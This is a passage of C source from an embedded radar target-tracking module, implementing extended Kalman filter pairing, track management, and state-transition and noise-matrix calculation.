ekf_run_calcul_Q(trk_pkg);
if(trk_pkg->has_run == false)
trk_pkg->has_run = true;
/* pair candidate and tracker */
ekf_run_pair(trk_pkg, sys_params);
/* update tracker type */
ekf_run_update(trk_pkg, sys_params);
/* filter calculation */
ekf_run_filter(trk_pkg, sys_params);
}
FUNC_DECOR void func_track_init(void *data, void *ctx)
{
radar_sys_params_t* sys_params = (radar_sys_params_t *)ctx;
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->track_type_thres_pre = sys_params->trk_capt_delay * sys_params->trk_fps;
trk_pkg->track_type_thres_val = sys_params->trk_drop_delay * sys_params->trk_fps;
/* FIXME: init of R, only quantization error from baseband but no error from noisy environment*/
track_R[0 * MEASURE_ELEM_NUM + 0] = sys_params->rng_delta * sys_params->rng_delta * RNG_NOISE_STD * RNG_NOISE_STD;
track_R[1 * MEASURE_ELEM_NUM + 1] = sys_params->vel_delta * sys_params->vel_delta * VEL_NOISE_STD * VEL_NOISE_STD;
track_R[2 * MEASURE_ELEM_NUM + 2] = sys_params->az_delta_deg * sys_params->az_delta_deg * ANG_NOISE_STD * ANG_NOISE_STD;
#if TRK_CONF_3D
track_R[3 * MEASURE_ELEM_NUM + 3] = sys_params->ev_delta_deg * sys_params->ev_delta_deg * ANG_NOISE_STD * ANG_NOISE_STD;
#endif
track_meas_var_inv[0] = (track_float_t)1.0 / track_R[0 * MEASURE_ELEM_NUM + 0];
track_meas_var_inv[1] = (track_float_t)1.0 / track_R[1 * MEASURE_ELEM_NUM + 1];
track_meas_var_inv[2] = (track_float_t)1.0 / track_R[2 * MEASURE_ELEM_NUM + 2];
#if TRK_CONF_3D
track_meas_var_inv[3] = (track_float_t)1.0 / track_R[3 * MEASURE_ELEM_NUM + 3];
#endif
/* clear trackers */
for (int i = 0; i < TRACK_NUM_TRK; i++)
trk_pkg->trk[i].type = TRACK_TYP_NUL;
trk_pkg->has_run = false;
trk_pkg->f_numb = 0;
}
FUNC_DECOR void func_track_stop(void *data, void *ctx)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->has_run = false;
trk_pkg->f_numb = 0;
}
FUNC_DECOR void func_track_post(void *data, void *ctx)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->f_numb++;
}
FUNC_DECOR void func_set_frame_int(void *data, track_float_t delta)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->frame_int = delta;
}
FUNC_DECOR void func_track_header_update(void *data, void *ctx)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
trk_pkg->output_hdr->frame_int = trk_pkg->frame_int;
trk_pkg->output_hdr->frame_id = trk_pkg->f_numb;
trk_pkg->output_hdr->track_output_number = trk_pkg->output_trk_number;
}
FUNC_DECOR void func_track_obj_info_update(void *data, void *ctx, uint32_t i)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
uint32_t tag_s;
if (i < TRACK_NUM_TRK && trk_pkg->trk[i].type != TRACK_TYP_NUL) {
if(trk_pkg->trk[i].type == TRACK_TYP_PRE)
tag_s = 0;
else
tag_s = (trk_pkg->trk[i].miss_time == 0)? 1 : 2;
trk_pkg->output_obj->track_level = tag_s;
track_float_t tmpS = trk_pkg->trk[i].flt_z.sig;
track_float_t tmpN = trk_pkg->trk[i].flt_z.noi;
trk_pkg->output_obj->SNR = 10*TRACK_LOG10(tmpS/tmpN);
trk_pkg->output_obj->rng = trk_pkg->trk[i].flt_z.rng;
trk_pkg->output_obj->vel = trk_pkg->trk[i].flt_z.vel;
trk_pkg->output_obj->ang = trk_pkg->trk[i].flt_z.ang;
#if TRK_CONF_3D
trk_pkg->output_obj->ang_elv = trk_pkg->trk[i].flt_z.ang_elv;
#endif
trk_pkg->output_obj->output = true;
} else
trk_pkg->output_obj->output = false;
}
FUNC_DECOR bool func_has_run(void *data)
{
track_trk_pkg_t* trk_pkg = (track_trk_pkg_t*)data;
return trk_pkg->has_run;
}
/* helpers */
static void ekf_run_pair(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params)
{
/* variable */
uint16_t i, j;
track_float_t cur_cst;
track_float_t rng_cst;
track_float_t vel_cst;
track_float_t ang_cst;
#if TRK_CONF_3D
track_float_t ang_elv_cst;
#endif
int16_t cdi_idx_tmp_1;
int16_t cdi_idx_tmp_2;
/* clear idx */
for (i = 0; i < TRACK_NUM_CDI; i++) {
trk_pkg->raw_input->cdi[i].index = TRACK_IDX_NUL;
}
for (i = 0; i < TRACK_NUM_TRK; i++) {
trk_pkg->trk[i].idx_1 = TRACK_IDX_NUL;
trk_pkg->trk[i].idx_2 = TRACK_IDX_NUL;
trk_pkg->trk[i].cst_1 = (track_float_t)TRACK_CST_MAX;
trk_pkg->trk[i].cst_2 = (track_float_t)TRACK_CST_MAX;
}
/* searh all trackers */
for (i = 0; i < TRACK_NUM_TRK; i++) {
/* it should be candidate or in track type */
if (trk_pkg->trk[i].type != TRACK_TYP_NUL) {
/* search all candidates */
for (j = 0; j < trk_pkg->raw_input->cdi_number; j++) {
#ifdef TRACK_ADAPTIVE_CST
track_float_t tmp = trk_pkg->trk[i].pre_z.rng - trk_pkg->raw_input->cdi[j].raw_z.rng;
rng_cst = tmp * tmp * trk_pkg->trk[i].meas_var_inv[0];
tmp = trk_pkg->trk[i].pre_z.vel - trk_pkg->raw_input->cdi[j].raw_z.vel;
vel_cst = tmp * tmp * trk_pkg->trk[i].meas_var_inv[1];
tmp = trk_pkg->trk[i].pre_z.ang - trk_pkg->raw_input->cdi[j].raw_z.ang;
ang_cst = tmp * tmp * trk_pkg->trk[i].meas_var_inv[2];
#if TRK_CONF_3D
tmp = trk_pkg->trk[i].pre_z.ang_elv - trk_pkg->raw_input->cdi[j].raw_z.ang_elv;
ang_elv_cst = tmp * tmp * trk_pkg->trk[i].meas_var_inv[3];
#endif /* TRK_CONF_3D */
#else
/* TODO: use index or true data */
rng_cst = TRACK_FABS(trk_pkg->trk[i].pre_z.rng - trk_pkg->raw_input->cdi[j].raw_z.rng) / sys_params->rng_delta;
/* TODO: use index or true data */
vel_cst = TRACK_FABS(trk_pkg->trk[i].pre_z.vel - trk_pkg->raw_input->cdi[j].raw_z.vel) / sys_params->vel_delta;
/* TODO: use index or true data */
ang_cst = TRACK_FABS(trk_pkg->trk[i].pre_z.ang - trk_pkg->raw_input->cdi[j].raw_z.ang) / sys_params->az_delta_deg;
#if TRK_CONF_3D
ang_elv_cst = TRACK_FABS(trk_pkg->trk[i].pre_z.ang_elv - trk_pkg->raw_input->cdi[j].raw_z.ang_elv) / sys_params->ev_delta_deg;
#endif /* TRK_CONF_3D */
#endif /* TRACK_ADAPTIVE_CST */
/* test if within threshold */
if ((rng_cst < (track_float_t)TRACK_CST_THR_RNG) &&
(vel_cst < (track_float_t)TRACK_CST_THR_VEL) &&
(ang_cst < (track_float_t)TRACK_CST_THR_ANG)
#if TRK_CONF_3D
&& (ang_elv_cst < (track_float_t)TRACK_CST_THR_ANG_ELV)
#endif
) {
#ifdef TRACK_ADAPTIVE_CST
cur_cst = rng_cst + vel_cst + ang_cst;
#if TRK_CONF_3D
cur_cst += ang_elv_cst;
#endif
#else
cur_cst = rng_cst * rng_cst
+ vel_cst * vel_cst
+ ang_cst * ang_cst;
#if TRK_CONF_3D
cur_cst += ang_elv_cst * ang_elv_cst;
#endif
#endif /* TRACK_ADAPTIVE_CST */
/* when cost is smaller than cst_1 */
if (cur_cst < trk_pkg->trk[i].cst_1) {
/* update cst */
trk_pkg->trk[i].cst_2 = trk_pkg->trk[i].cst_1;
trk_pkg->trk[i].cst_1 = cur_cst;
/* update idx */
trk_pkg->trk[i].idx_2 = trk_pkg->trk[i].idx_1;
trk_pkg->trk[i].idx_1 = j;
}
/* when cost is smaller than cst_2 */
else if (cur_cst < trk_pkg->trk[i].cst_2) {
/* update new cst */
trk_pkg->trk[i].cst_2 = cur_cst;
/* update new idx */
trk_pkg->trk[i].idx_2 = j;
}
}
}
/* update candidate index if paired */
if (trk_pkg->trk[i].idx_1 != TRACK_IDX_NUL) {
/* get candidate index */
cdi_idx_tmp_1 = trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1].index;
/* if it hasn't been paired */
if (cdi_idx_tmp_1 == TRACK_IDX_NUL) {
/* set candidate index to current tracker */
trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1].index = i;
}
/* if it has been paired */
else {
/* if current pair has a smaller cost */
if (trk_pkg->trk[i].cst_1 < trk_pkg->trk[cdi_idx_tmp_1].cst_1 ) {
/* build new pair */
trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1].index = i;
/* if original tracker has no second pair */
if (trk_pkg->trk[cdi_idx_tmp_1].idx_2 == TRACK_IDX_NUL) {
/* set it to null */
trk_pkg->trk[cdi_idx_tmp_1].idx_1 = TRACK_IDX_NUL;
}
/* if original tracker has a second pair */
else {
/* get the candidate index */
cdi_idx_tmp_2 = trk_pkg->raw_input->cdi[trk_pkg->trk[cdi_idx_tmp_1].idx_2].index;
/* if it hasn't been paired */
if (cdi_idx_tmp_2 == TRACK_IDX_NUL) {
/* build a new pair */
trk_pkg->raw_input->cdi[trk_pkg->trk[cdi_idx_tmp_1].idx_2].index = cdi_idx_tmp_1;
trk_pkg->trk[cdi_idx_tmp_1].idx_1 = trk_pkg->trk[cdi_idx_tmp_1].idx_2;
trk_pkg->trk[cdi_idx_tmp_1].idx_2 = TRACK_IDX_NUL;
trk_pkg->trk[cdi_idx_tmp_1].cst_1 = trk_pkg->trk[cdi_idx_tmp_1].cst_2;
}
/* if it has been paired */
else {
/* set it to nul */
trk_pkg->trk[cdi_idx_tmp_1].idx_1 = TRACK_IDX_NUL;
}
}
}
/* if current pair has a larger cost */
else {
/* if no second pair exist */
if (trk_pkg->trk[i].idx_2 == TRACK_IDX_NUL) {
/* set it to null */
trk_pkg->trk[i].idx_1 = TRACK_IDX_NUL;
}
/* if second pair exist */
else {
/* get candidate index */
cdi_idx_tmp_2 = trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_2].index;
/* if it hasn't been paired */
if (cdi_idx_tmp_2 == TRACK_IDX_NUL) {
/* set candidate index to current tracker */
trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_2].index = i;
trk_pkg->trk[i].idx_1 = trk_pkg->trk[i].idx_2;
trk_pkg->trk[i].cst_1 = trk_pkg->trk[i].cst_2;
trk_pkg->trk[i].idx_2 = TRACK_IDX_NUL;
}
/* if it has been paired */
else {
/* set it to null */
trk_pkg->trk[i].idx_1 = TRACK_IDX_NUL;
}
}
}
}
}
}
}
}
static void ekf_run_update(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params)
{
/* variable */
uint16_t i, j;
/* update trackers with pre-trk type */
for (i = 0; i < TRACK_NUM_TRK; i++) {
/* pick trackers with pre-trk type */
if (trk_pkg->trk[i].type == TRACK_TYP_PRE) {
if (trk_pkg->trk[i].idx_1 != TRACK_IDX_NUL) { /* if paired */
/* update hit time */
trk_pkg->trk[i].hit_time++;
/* if reach the boundary, promote it */
if (trk_pkg->trk[i].hit_time == trk_pkg->track_type_thres_pre) {
/* promote to valid track type */
trk_pkg->trk[i].type = TRACK_TYP_VAL;
trk_pkg->trk[i].miss_time = 0;
trk_pkg->trk[i].hit_time--; /* TODO: is this needed? */
}
} else { /* if not paired */
/* discard non-paired pre trackers */
trk_pkg->trk[i].type = TRACK_TYP_NUL;
}
}
}
/* update trackers with nul-type */
for (j = 0, i = 0; j < trk_pkg->raw_input->cdi_number; j++) {
/* if paired */
if (trk_pkg->raw_input->cdi[j].index == TRACK_IDX_NUL) {
/* find blank tracker */
while (trk_pkg->trk[i].type != TRACK_TYP_NUL) {
i++;
if (i >= TRACK_NUM_TRK)
break;
}
/* if i is valid */
if (i < TRACK_NUM_TRK) {
/* promote candidate */
trk_pkg->trk[i].idx_1 = j;
trk_pkg->trk[i].type = TRACK_TYP_PRE;
trk_pkg->trk[i].hit_time = 0;
trk_pkg->raw_input->cdi[j].index = i;
} else
break;
}
}
/* update tracker with val-trk type */
for (i = 0; i < TRACK_NUM_TRK; i++) {
/* pick trackers with val-trk type */
if (trk_pkg->trk[i].type == TRACK_TYP_VAL) {
/* if not paired */
if (trk_pkg->trk[i].idx_1 == TRACK_IDX_NUL) {
/* update miss time */
trk_pkg->trk[i].miss_time++;
/* faster discard */
/* if (TRACK_FABS(trk_pkg->trk[i].x.vel_x) >= TRACK_DIS_THR_VEL) { /\* TODO: use index or true data *\/ */
/* trk_pkg->trk[i].miss_time += 2 ; */
/* } */
/* hard discard for too close or out-of-FOV objects */
if (trk_pkg->trk[i].flt_z.ang > sys_params->trk_fov_az_right ||
trk_pkg->trk[i].flt_z.ang < sys_params->trk_fov_az_left ||
trk_pkg->trk[i].flt_z.rng <= sys_params->trk_nf_thres)
trk_pkg->trk[i].type = TRACK_TYP_NUL;
#if TRK_CONF_3D
if (trk_pkg->trk[i].flt_z.ang_elv > 60 || trk_pkg->trk[i].flt_z.ang_elv < -60)
/* FIXME: we have to define something like "trk_fov_ev_left" and "trk_fov_ev_right" in sys_params */
trk_pkg->trk[i].type = TRACK_TYP_NUL;
#endif
/* normal discard */
if (trk_pkg->trk[i].miss_time >= trk_pkg->trk[i].hit_time)
trk_pkg->trk[i].type = TRACK_TYP_NUL;
}
/* if paired */
else {
/* reset miss_time */
trk_pkg->trk[i].miss_time = 0;
/* update hit time */
if (trk_pkg->trk[i].hit_time < trk_pkg->track_type_thres_val) {
trk_pkg->trk[i].hit_time++;
}
}
}
} /* loop of i*/
}
/* filter calculation */
static void ekf_run_filter(track_trk_pkg_t* trk_pkg, radar_sys_params_t* sys_params)
{
/* variable */
uint16_t i;
track_float_t angle;
#if TRK_CONF_3D
track_float_t angle_elevate;
#endif
track_float_t rng_proj_xy;
track_float_t vel_proj_xy;
/* for-loop in trk */
for (i = 0; i < TRACK_NUM_TRK; i++) {
/* process according to type */
switch (trk_pkg->trk[i].type) {
/* null type */
case TRACK_TYP_NUL :
break;
/* pre type */
case TRACK_TYP_PRE :
trk_pkg->output_trk_number++;
if (trk_pkg->trk[i].hit_time == 0) {
/* filtered */
trk_pkg->trk[i].flt_z = trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1].raw_z;
/* predicted */
trk_pkg->trk[i].pre_z = trk_pkg->trk[i].flt_z;
trk_pkg->trk[i].pre_z.rng = trk_pkg->trk[i].flt_z.rng + trk_pkg->trk[i].flt_z.vel * trk_pkg->frame_int;
/* sigma */
trk_pkg->trk[i].sigma_x = (track_float_t)1.0;
trk_pkg->trk[i].sigma_y = (track_float_t)1.0;
#if TRK_CONF_3D
trk_pkg->trk[i].sigma_z = (track_float_t)1.0;
#endif
/* int_P */
memcpy(trk_pkg->trk[i].P, track_init_P, STATE_ELEM_NUM * STATE_ELEM_NUM * sizeof(track_float_t));
/* meas_var_int */
memcpy(trk_pkg->trk[i].meas_var_inv, track_meas_var_inv, MEASURE_ELEM_NUM * sizeof(track_float_t));
/* state */
#if TRK_CONF_3D
angle = trk_pkg->trk[i].flt_z.ang * ANG2RAD;
angle_elevate = trk_pkg->trk[i].flt_z.ang_elv * ANG2RAD;
rng_proj_xy = trk_pkg->trk[i].flt_z.rng * TRACK_COS(angle_elevate);
vel_proj_xy = trk_pkg->trk[i].flt_z.vel * TRACK_COS(angle_elevate);
#else
angle = trk_pkg->trk[i].pre_z.ang * ANG2RAD;
rng_proj_xy = trk_pkg->trk[i].pre_z.rng;
vel_proj_xy = trk_pkg->trk[i].pre_z.vel;
#endif
trk_pkg->trk[i].x.rng_x = rng_proj_xy * TRACK_SIN(angle);
trk_pkg->trk[i].x.rng_y = rng_proj_xy * TRACK_COS(angle);
trk_pkg->trk[i].x.vel_x = vel_proj_xy * TRACK_SIN(angle);
trk_pkg->trk[i].x.vel_y = vel_proj_xy * TRACK_COS(angle);
trk_pkg->trk[i].x.acc_x = (track_float_t)0.0;
trk_pkg->trk[i].x.acc_y = (track_float_t)0.0;
#if TRK_CONF_3D
trk_pkg->trk[i].x.rng_z = trk_pkg->trk[i].flt_z.rng * TRACK_SIN(angle_elevate);
trk_pkg->trk[i].x.vel_z = trk_pkg->trk[i].flt_z.vel * TRACK_SIN(angle_elevate);
trk_pkg->trk[i].x.acc_z = (track_float_t)0.0;
#endif
} else {
/* kalman_filter */
track_run_filter_core(trk_pkg, trk_pkg->frame_int, &trk_pkg->trk[i], &trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1]);
}
break;
/* val type */
case TRACK_TYP_VAL :
trk_pkg->output_trk_number++;
/* if paried */
if (trk_pkg->trk[i].idx_1 != TRACK_IDX_NUL) {
/* filter with measurement */
track_run_filter_core(trk_pkg, trk_pkg->frame_int, &trk_pkg->trk[i], &trk_pkg->raw_input->cdi[trk_pkg->trk[i].idx_1]);
} else {
/* filter without measurement */
track_run_filter_core(trk_pkg, trk_pkg->frame_int, &trk_pkg->trk[i], NULL);
}
break;
}
}
}
static void ekf_run_calcul_A(track_trk_pkg_t* trk_pkg)
{
/* variable (to avoid numerical problem, they are declared as double */
double a1;
double a2;
double a3;
/* get ax */
a1 = 1.0 / (TRACK_EKF_ACC * TRACK_EKF_ACC) * ((-1.0 + TRACK_EKF_ACC * (double)trk_pkg->frame_int) + exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int));
a2 = 1.0 / TRACK_EKF_ACC * (1.0 - exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int));
a3 = exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int);
/*****************************************************************************************************************************************
in case of 3d :
[ 1, 0, 0, T, 0, 0, (exp(-T*alpha) + T*alpha - 1)/alpha^2, 0, 0]
[ 0, 1, 0, 0, T, 0, 0, (exp(-T*alpha) + T*alpha - 1)/alpha^2, 0]
[ 0, 0, 1, 0, 0, T, 0, 0, (exp(-T*alpha) + T*alpha - 1)/alpha^2]
[ 0, 0, 0, 1, 0, 0, -(exp(-T*alpha) - 1)/alpha, 0, 0]
[ 0, 0, 0, 0, 1, 0, 0, -(exp(-T*alpha) - 1)/alpha, 0]
[ 0, 0, 0, 0, 0, 1, 0, 0, -(exp(-T*alpha) - 1)/alpha]
[ 0, 0, 0, 0, 0, 0, exp(-T*alpha), 0, 0]
[ 0, 0, 0, 0, 0, 0, 0, exp(-T*alpha), 0]
[ 0, 0, 0, 0, 0, 0, 0, 0, exp(-T*alpha)]
in case of 2d :
[ 1, 0, T, 0, (exp(-T*alpha) + T*alpha - 1)/alpha^2, 0]
[ 0, 1, 0, T, 0, (exp(-T*alpha) + T*alpha - 1)/alpha^2]
[ 0, 0, 1, 0, -(exp(-T*alpha) - 1)/alpha, 0]
[ 0, 0, 0, 1, 0, -(exp(-T*alpha) - 1)/alpha]
[ 0, 0, 0, 0, exp(-T*alpha), 0]
[ 0, 0, 0, 0, 0, exp(-T*alpha)]
*******************************************************************************************************************************************/
#if TRK_CONF_3D
/* line 0 */
track_A[0 * STATE_ELEM_NUM + 0] = (track_float_t)1.0;
track_A[3 * STATE_ELEM_NUM + 0] = (track_float_t)trk_pkg->frame_int;
track_A[6 * STATE_ELEM_NUM + 0] = (track_float_t)a1;
/* line 1 */
track_A[1 * STATE_ELEM_NUM + 1] = (track_float_t)1.0;
track_A[4 * STATE_ELEM_NUM + 1] = (track_float_t)trk_pkg->frame_int;
track_A[7 * STATE_ELEM_NUM + 1] = (track_float_t)a1;
/* line 2 */
track_A[2 * STATE_ELEM_NUM + 2] = (track_float_t)1.0;
track_A[5 * STATE_ELEM_NUM + 2] = (track_float_t)trk_pkg->frame_int;
track_A[8 * STATE_ELEM_NUM + 2] = (track_float_t)a1;
/* line 3 */
track_A[3 * STATE_ELEM_NUM + 3] = (track_float_t)1.0;
track_A[6 * STATE_ELEM_NUM + 3] = (track_float_t)a2;
/* line 4 */
track_A[4 * STATE_ELEM_NUM + 4] = (track_float_t)1.0;
track_A[7 * STATE_ELEM_NUM + 4] = (track_float_t)a2;
/* line 5 */
track_A[5 * STATE_ELEM_NUM + 5] = (track_float_t)1.0;
track_A[8 * STATE_ELEM_NUM + 5] = (track_float_t)a2;
/* line 6 */
track_A[6 * STATE_ELEM_NUM + 6] = (track_float_t)a3;
/* line 7 */
track_A[7 * STATE_ELEM_NUM + 7] = (track_float_t)a3;
/* line 8 */
track_A[8 * STATE_ELEM_NUM + 8] = (track_float_t)a3;
#else
/* line 0 */
track_A[0 * STATE_ELEM_NUM + 0] = (track_float_t)1.0;
track_A[2 * STATE_ELEM_NUM + 0] = (track_float_t)trk_pkg->frame_int;
track_A[4 * STATE_ELEM_NUM + 0] = (track_float_t)a1;
/* line 1 */
track_A[1 * STATE_ELEM_NUM + 1] = (track_float_t)1.0;
track_A[3 * STATE_ELEM_NUM + 1] = (track_float_t)trk_pkg->frame_int;
track_A[5 * STATE_ELEM_NUM + 1] = (track_float_t)a1;
/* line 2 */
track_A[2 * STATE_ELEM_NUM + 2] = (track_float_t)1.0;
track_A[4 * STATE_ELEM_NUM + 2] = (track_float_t)a2;
/* line 3 */
track_A[3 * STATE_ELEM_NUM + 3] = (track_float_t)1.0;
track_A[5 * STATE_ELEM_NUM + 3] = (track_float_t)a2;
/* line 4 */
track_A[4 * STATE_ELEM_NUM + 4] = (track_float_t)a3;
/* line 5 */
track_A[5 * STATE_ELEM_NUM + 5] = (track_float_t)a3;
#endif
}
/* calculate Q */
static void ekf_run_calcul_Q(track_trk_pkg_t* trk_pkg)
{
/* variable */
double q11;
double q12;
double q13;
double q22;
double q23;
double q33;
/* get qxx */
q11 = 1.0 / pow(TRACK_EKF_ACC, 4.0) * (
+ 1.0
- exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int)
+ 2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int
+ 2.0 * pow(TRACK_EKF_ACC, 3.0) * pow((double)trk_pkg->frame_int, 3.0)/3.0
- 2.0 * TRACK_EKF_ACC * TRACK_EKF_ACC * (double)trk_pkg->frame_int * (double)trk_pkg->frame_int
- 4.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
);
q12 = 1.0 / pow(TRACK_EKF_ACC, 3.0) * (
+ exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int)
+ 1.0
- 2.0 * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
+ 2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
- 2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int
+ TRACK_EKF_ACC * TRACK_EKF_ACC * (double)trk_pkg->frame_int * (double)trk_pkg->frame_int
);
q13 = 1.0 / (TRACK_EKF_ACC * TRACK_EKF_ACC) * (
1.0
- exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int)
- 2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
);
q22 = 1.0 / (TRACK_EKF_ACC * TRACK_EKF_ACC) * (
+ 4.0 * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
- 3.0
- exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int)
+ 2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int
);
q23 = 1.0 / TRACK_EKF_ACC * (
+ exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int)
+ 1.0
- 2.0 * exp(-TRACK_EKF_ACC * (double)trk_pkg->frame_int)
);
q33 = 1.0 - exp(-2.0 * TRACK_EKF_ACC * (double)trk_pkg->frame_int);
#if TRK_CONF_3D
/* line 0 rx */
track_Q[0 * STATE_ELEM_NUM + 0] = (track_float_t)q11;
track_Q[3 * STATE_ELEM_NUM + 0] = (track_float_t)q12;
track_Q[6 * STATE_ELEM_NUM + 0] = (track_float_t)q13;
/* line 1 ry */
track_Q[1 * STATE_ELEM_NUM + 1] = (track_float_t)q11;
track_Q[4 * STATE_ELEM_NUM + 1] = (track_float_t)q12;
track_Q[7 * STATE_ELEM_NUM + 1] = (track_float_t)q13;
/* line 2 rz */
track_Q[2 * STATE_ELEM_NUM + 2] = (track_float_t)q11;
track_Q[5 * STATE_ELEM_NUM + 2] = (track_float_t)q12;
track_Q[8 * STATE_ELEM_NUM + 2] = (track_float_t)q13;
/* line 3 vx */
track_Q[0 * STATE_ELEM_NUM + 3] = (track_float_t)q12;
track_Q[3 * STATE_ELEM_NUM + 3] = (track_float_t)q22;
track_Q[6 * STATE_ELEM_NUM + 3] = (track_float_t)q23;
/* line 4 vy */
track_Q[1 * STATE_ELEM_NUM + 4] = (track_float_t)q12;
track_Q[4 * STATE_ELEM_NUM + 4] = (track_float_t)q22;
track_Q[7 * STATE_ELEM_NUM + 4] = (track_float_t)q23;
/* line 5 vz */
track_Q[2 * STATE_ELEM_NUM + 5] = (track_float_t)q12;
track_Q[5 * STATE_ELEM_NUM + 5] = (track_float_t)q22;
track_Q[8 * STATE_ELEM_NUM + 5] = (track_float_t)q23;
/* line 6 ax */
track_Q[0 * STATE_ELEM_NUM + 6] = (track_float_t)q13;
track_Q[3 * STATE_ELEM_NUM + 6] = (track_float_t)q23;
track_Q[6 * STATE_ELEM_NUM + 6] = (track_float_t)q33;
/* line 7 ay */
track_Q[1 * STATE_ELEM_NUM + 7] = (track_float_t)q13;
track_Q[4 * STATE_ELEM_NUM + 7] = (track_float_t)q23;
track_Q[7 * STATE_ELEM_NUM + 7] = (track_float_t)q33;
/* line 8 az */
track_Q[2 * STATE_ELEM_NUM + 8] = (track_float_t)q13;
track_Q[5 * STATE_ELEM_NUM + 8] = (track_float_t)q23;
track_Q[8 * STATE_ELEM_NUM + 8] = (track_float_t)q33;
#else
/* line 0 rx */
track_Q[0 * STATE_ELEM_NUM + 0] = (track_float_t)q11;
track_Q[2 * STATE_ELEM_NUM + 0] = (track_float_t)q12;
track_Q[4 * STATE_ELEM_NUM + 0] = (track_float_t)q13;
/* line 1 */
track_Q[1 * STATE_ELEM_NUM + 1] = (track_float_t)q11;
track_Q[3 * STATE_ELEM_NUM + 1] = (track_float_t)q12;
track_Q[5 * STATE_ELEM_NUM + 1] = (track_float_t)q13;
/* line 2 */
track_Q[0 * STATE_ELEM_NUM + 2] = (track_float_t)q12;
track_Q[2 * STATE_ELEM_NUM + 2] = (track_float_t)q22;
track_Q[4 * STATE_ELEM_NUM + 2] = (track_float_t)q23;
/* line 3 */
track_Q[1 * STATE_ELEM_NUM + 3] = (track_float_t)q12;
track_Q[3 * STATE_ELEM_NUM + 3] = (track_float_t)q22;
track_Q[5 * STATE_ELEM_NUM + 3] = (track_float_t)q23;
/* line 4 */
track_Q[0 * STATE_ELEM_NUM + 4] = (track_float_t)q13;
track_Q[2 * STATE_ELEM_NUM + 4] = (track_float_t)q23;
track_Q[4 * STATE_ELEM_NUM + 4] = (track_float_t)q33;
/* line 5 */
track_Q[1 * STATE_ELEM_NUM + 5] = (track_float_t)q13;
track_Q[3 * STATE_ELEM_NUM + 5] = (track_float_t)q23;
track_Q[5 * STATE_ELEM_NUM + 5] = (track_float_t)q33;
#endif
}
static inline void track_inline_x2z(track_measu_t *z, track_state_t *x)
{
#if TRK_CONF_3D
/* r = (rx^2+ry^2+rz^2)^0.5 */
z->rng = TRACK_SQRT(x->rng_x * x->rng_x + x->rng_y * x->rng_y + x->rng_z * x->rng_z);
/* v = vx*rx/r + vy*ry/r + vz*rz/r */
z->vel = (x->vel_x * x->rng_x + x->vel_y * x->rng_y + x->vel_z * x->rng_z) / z->rng;
/* a = atan(rx/ry) */
z->ang = TRACK_ATAN(x->rng_x / x->rng_y) * (track_float_t)RAD2ANG;
/* a_elv = atan(z / sqrt(rx^2+ry^2)) */
z->ang_elv = TRACK_ATAN(x->rng_z / TRACK_SQRT(x->rng_x * x->rng_x + x->rng_y * x->rng_y)) * (track_float_t)RAD2ANG;
#else
/* r = (rx^2+ry^2)^0.5 */
z->rng = TRACK_SQRT(x->rng_x * x->rng_x + x->rng_y * x->rng_y);
/* v = vx*rx/r + vy*ry/r */
z->vel = x->vel_x * x->rng_x / z->rng + x->vel_y * x->rng_y / z->rng;
/* a = atan(rx/ry) */
z->ang = TRACK_ATAN(x->rng_x / x->rng_y) * (track_float_t)RAD2ANG;
#endif
}
/* Z = A*B, Z: i*j, A:i*k, B:k*j */
static inline void track_inline_MA_mul_MB(track_float_t *Z, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
Z[idx_i + i * idx_j] = (track_float_t)0.0;
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_k + k * idx_j];
}
}
}
}
/* Z = A*B', Z: i*j, A:i*k, B':k*j */
static inline void track_inline_MA_mul_MB_T(track_float_t *Z, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
Z[idx_i + i * idx_j] = (track_float_t)0.0;
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_j + j * idx_k];
}
}
}
}
/* Z = Z+A*B, Z: i*j, A:i*k, B:k*j */
static inline void track_inline_Z_add_MA_mul_MB(track_float_t *Z, track_float_t *A, track_float_t *B, int i, int j, int k)
{
